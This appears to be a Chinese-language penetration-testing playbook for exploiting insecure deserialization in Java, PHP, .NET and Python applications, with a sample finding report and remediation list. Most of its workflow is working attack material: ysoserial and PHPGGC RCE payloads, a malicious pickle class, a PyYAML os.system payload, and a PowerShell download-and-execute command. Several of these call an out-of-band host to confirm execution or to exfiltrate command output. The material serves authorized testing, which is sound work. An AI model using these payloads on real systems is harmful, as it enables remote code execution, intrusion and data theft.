exploiting-insecure-deserialization

利用不安全的反序列化

何时使用

• 在获得授权的渗透测试期间，当应用程序处理序列化数据（Cookie、API 参数、消息队列）时
• 当在 HTTP 流量中识别出 Java 序列化标记（ac ed 00 05 / rO0AB）时
• 用于测试对用户可控输入使用 unserialize() 的 PHP 应用程序
• 当评估使用 BinaryFormatter、ObjectStateFormatter 或 ViewState 的 .NET 应用程序时
• 在对使用 pickle（Python）、Marshal（Ruby）或 YAML 反序列化的应用程序进行安全评估期间

前置条件

• 授权：包含 RCE 测试范围的书面渗透测试协议
• ysoserial：Java 反序列化利用工具（git clone https://github.com/frohoff/ysoserial.git）
• ysoserial.net：.NET 反序列化利用工具（git clone https://github.com/pwntester/ysoserial.net.git）
• PHPGGC：PHP 反序列化利用链生成器（git clone https://github.com/ambionics/phpggc.git）
• Burp Suite Professional：带有 Java Deserialization Scanner 扩展
• Java Runtime：用于运行 ysoserial
• Collaborator/interactsh：用于带外确认代码执行

工作流

步骤 1：识别应用程序流量中的序列化数据

检测 HTTP 参数、Cookie 和标头中的序列化对象。

# Java serialization markers
# Binary: starts with 0xACED0005
# Base64: starts with rO0AB
# Gzip+Base64: starts with H4sIAAAAAAAA

# Search Burp proxy history for serialization signatures
# In Burp: Proxy > HTTP History > Search > "rO0AB"

# Check cookies and parameters for Base64-encoded serialized data
echo "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA..." | base64 -d | xxd | head

# PHP serialization format
# Looks like: O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";}
# a:2:{i:0;s:5:"hello";i:1;s:5:"world";}

# .NET ViewState
# __VIEWSTATE parameter in ASP.NET forms
# Starts with /wEP... (base64)

# Python pickle
# Base64 encoded pickle objects in cookies or API parameters
# Binary starts with 0x80 (protocol version)

# Common locations to check:
# - Session cookies
# - Hidden form fields (__VIEWSTATE, __EVENTVALIDATION)
# - API request/response bodies
# - WebSocket messages
# - Message queue payloads (JMS, RabbitMQ, Redis)
# - Cache entries (Memcached, Redis)

步骤 2：使用 ysoserial 测试 Java 反序列化

为 Java 应用程序生成反序列化载荷。

# List available gadget chains
java -jar ysoserial.jar 2>&1 | grep -E "^\s+\w"

# Generate DNS callback payload for detection (safest test)
java -jar ysoserial.jar URLDNS "http://java-deser.abc123.oast.fun" | base64 -w0

# Test with Burp Collaborator
# Replace serialized cookie/parameter with generated payload
# Check Collaborator for DNS/HTTP callbacks

# Generate RCE payloads with common gadget chains
# CommonsCollections (very common in Java apps)
java -jar ysoserial.jar CommonsCollections1 "curl http://abc123.oast.fun/rce" | base64 -w0
java -jar ysoserial.jar CommonsCollections5 "whoami" | base64 -w0
java -jar ysoserial.jar CommonsCollections6 "id" | base64 -w0

# Spring Framework gadget
java -jar ysoserial.jar Spring1 "curl http://abc123.oast.fun/spring" | base64 -w0

# Hibernate gadget
java -jar ysoserial.jar Hibernate1 "curl http://abc123.oast.fun/hibernate" | base64 -w0

# Send payload via curl
PAYLOAD=$(java -jar ysoserial.jar CommonsCollections5 "curl http://abc123.oast.fun/confirm" | base64 -w0)
curl -s -X POST \
  -b "session=$PAYLOAD" \
  "https://target.example.com/dashboard"

步骤 3：使用 PHPGGC 测试 PHP 反序列化

为常见框架生成 PHP 利用链。

# List available PHP gadget chains
./phpggc -l

# Generate payloads for common PHP frameworks
# Laravel RCE
./phpggc Laravel/RCE1 system "id" -b
./phpggc Laravel/RCE5 system "whoami" -b

# Symfony RCE
./phpggc Symfony/RCE4 exec "curl http://abc123.oast.fun/php-rce" -b

# WordPress (via Guzzle)
./phpggc Guzzle/RCE1 system "id" -b

# Monolog RCE
./phpggc Monolog/RCE1 system "id" -b

# Test by injecting into cookie or parameter
PAYLOAD=$(./phpggc Laravel/RCE1 system "curl http://abc123.oast.fun/laravel" -b)
curl -s -b "serialized_data=$PAYLOAD" \
  "https://target.example.com/dashboard"

# PHP object injection via manipulated serialized string
# Original: O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";}
# Modified: O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:5:"admin";}

# Test for type juggling with PHP unserialize
# Change string to integer: s:4:"role" -> i:1

步骤 4：测试 .NET 反序列化

评估 ViewState 及其他 .NET 序列化攻击向量。

# Analyze .NET ViewState
# Check if ViewState MAC is enabled
# Unprotected ViewState starts with /wE and can be decoded

# Using ysoserial.net for .NET payloads
# (Run on Windows or via Mono on Linux)
./ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter \
  -c "curl http://abc123.oast.fun/dotnet-rce" -o base64

./ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter \
  -c "whoami" -o base64

# Test ViewState deserialization
# If __VIEWSTATEMAC is disabled or machine key is known:
./ysoserial.exe -g ActivitySurrogateSelector -f ObjectStateFormatter \
  -c "powershell -c IEX(curl http://abc123.oast.fun/ps)" -o base64

# Insert payload into __VIEWSTATE parameter and submit form

# Check for .NET remoting endpoints
curl -s "https://target.example.com/remoting/service.rem"

# BinaryFormatter in API endpoints
# Look for Content-Type: application/octet-stream
# or application/x-msbin headers

步骤 5：测试 Python Pickle 反序列化

利用 Python 应用程序中基于 pickle 的反序列化。

# Generate malicious pickle payload
import pickle
import base64
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('curl http://abc123.oast.fun/pickle-rce',))

payload = base64.b64encode(pickle.dumps(Exploit())).decode()
print(f"Pickle payload: {payload}")

# Alternative: Use pickletools for analysis
import pickletools
pickletools.dis(pickle.dumps(Exploit()))

# Send pickle payload
PAYLOAD=$(python3 -c "
import pickle, base64, os
class E:
    def __reduce__(self):
        return (os.system, ('curl http://abc123.oast.fun/pickle',))
print(base64.b64encode(pickle.dumps(E())).decode())
")

curl -s -X POST \
  -H "Content-Type: application/octet-stream" \
  -d "$PAYLOAD" \
  "https://target.example.com/api/import"

# Check for YAML deserialization (PyYAML)
# Payload: !!python/object/apply:os.system ['curl http://abc123.oast.fun/yaml']
curl -s -X POST \
  -H "Content-Type: application/x-yaml" \
  -d "!!python/object/apply:os.system ['curl http://abc123.oast.fun/yaml']" \
  "https://target.example.com/api/config"

步骤 6：确认利用并记录影响

验证反序列化攻击是否成功，并记录影响链。

# Confirm RCE with out-of-band callback
# Check interactsh/Collaborator for:
# 1. DNS resolution of your callback domain
# 2. HTTP request with command output
# 3. Timing-based confirmation (sleep commands)

# If blind, use timing-based confirmation
# Java: Thread.sleep(10000)
java -jar ysoserial.jar CommonsCollections5 "sleep 10" | base64 -w0
# Measure if response takes ~10 seconds longer

# Exfiltrate system info (authorized testing only)
java -jar ysoserial.jar CommonsCollections5 \
  "curl http://abc123.oast.fun/\$(whoami)" | base64 -w0

# Document the gadget chain and affected library versions
# Check target classpath for vulnerable libraries:
# - commons-collections 3.x / 4.0
# - spring-core
# - hibernate-core
# - groovy

关键概念

概念	描述
序列化	将对象转换为字节流以便存储或传输
反序列化	从字节流重建对象，可能执行代码
利用链	将现有类方法串联起来以实现任意代码执行的序列
魔术方法	反序列化过程中自动调用的特殊方法（PHP 中的 __wakeup、__destruct，Java 中的 readObject）
ViewState	ASP.NET 用于持久化页面状态的机制，通常包含序列化对象
Pickle	Python 的原生序列化格式，对不可信数据本质上不安全
URLDNS 利用链	一种触发 DNS 查询的 Java 利用链，可用于安全地检测反序列化

工具与系统

工具	用途
ysoserial	包含多条利用链的 Java 反序列化载荷生成器
ysoserial.net	.NET 反序列化载荷生成器
PHPGGC	面向多个框架的 PHP 通用利用链
Burp Java Deserialization Scanner	自动检测 Java 反序列化漏洞
marshalsec	针对多种库的 Java 反序列化利用工具
Freddy（Burp 扩展）	检测多种语言中的反序列化问题

常见场景

场景 1：Java 会话 Cookie RCE

某 Java 应用程序将会话数据以序列化对象的形式存储在 Cookie 中。rO0AB 前缀揭示了 Java 序列化。使用 ysoserial 配合 CommonsCollections 利用链可实现远程代码执行。

场景 2：PHP Laravel 反序列化

某 Laravel 应用程序通过隐藏表单字段传递序列化数据。使用 PHPGGC 生成 Laravel RCE 利用链，可在提交表单时实现命令执行。

场景 3：无 MAC 的 .NET ViewState

一个 ASP.NET 应用禁用了 ViewState MAC 验证。使用 ysoserial.net 生成恶意 ViewState 载荷，当页面处理被修改的 ViewState 时即可实现代码执行。

场景 4：Redis 缓存中的 Python Pickle

一个 Python Web 应用将 pickle 序列化对象存储在 Redis 中用于缓存。通过用恶意 pickle 载荷污染缓存，当应用反序列化缓存对象时会触发代码执行。

输出格式

## Insecure Deserialization Finding

**Vulnerability**: Insecure Deserialization - Remote Code Execution
**Severity**: Critical (CVSS 9.8)
**Location**: Cookie `user_session` (Java serialized object)
**OWASP Category**: A08:2021 - Software and Data Integrity Failures

### Reproduction Steps
1. Capture the `user_session` cookie value (starts with rO0AB)
2. Generate payload: java -jar ysoserial.jar CommonsCollections5 "id"
3. Base64 encode and replace the cookie value
4. Send request; command executes on the server

### Vulnerable Library
- commons-collections 3.2.1 (CVE-2015-7501)
- Java Runtime: OpenJDK 11.0.15

### Confirmed Impact
- Remote Code Execution as `tomcat` user
- Server OS: Ubuntu 22.04 LTS
- Internal network access confirmed via reverse shell
- Database credentials accessible from application config

### Recommendation
1. Avoid deserializing untrusted data; use JSON or Protocol Buffers instead
2. Upgrade commons-collections to 4.1+ (patched version)
3. Implement deserialization filters (JEP 290 for Java 9+)
4. Use allowlists for permitted classes during deserialization
5. Implement integrity checks (HMAC) on serialized data before deserialization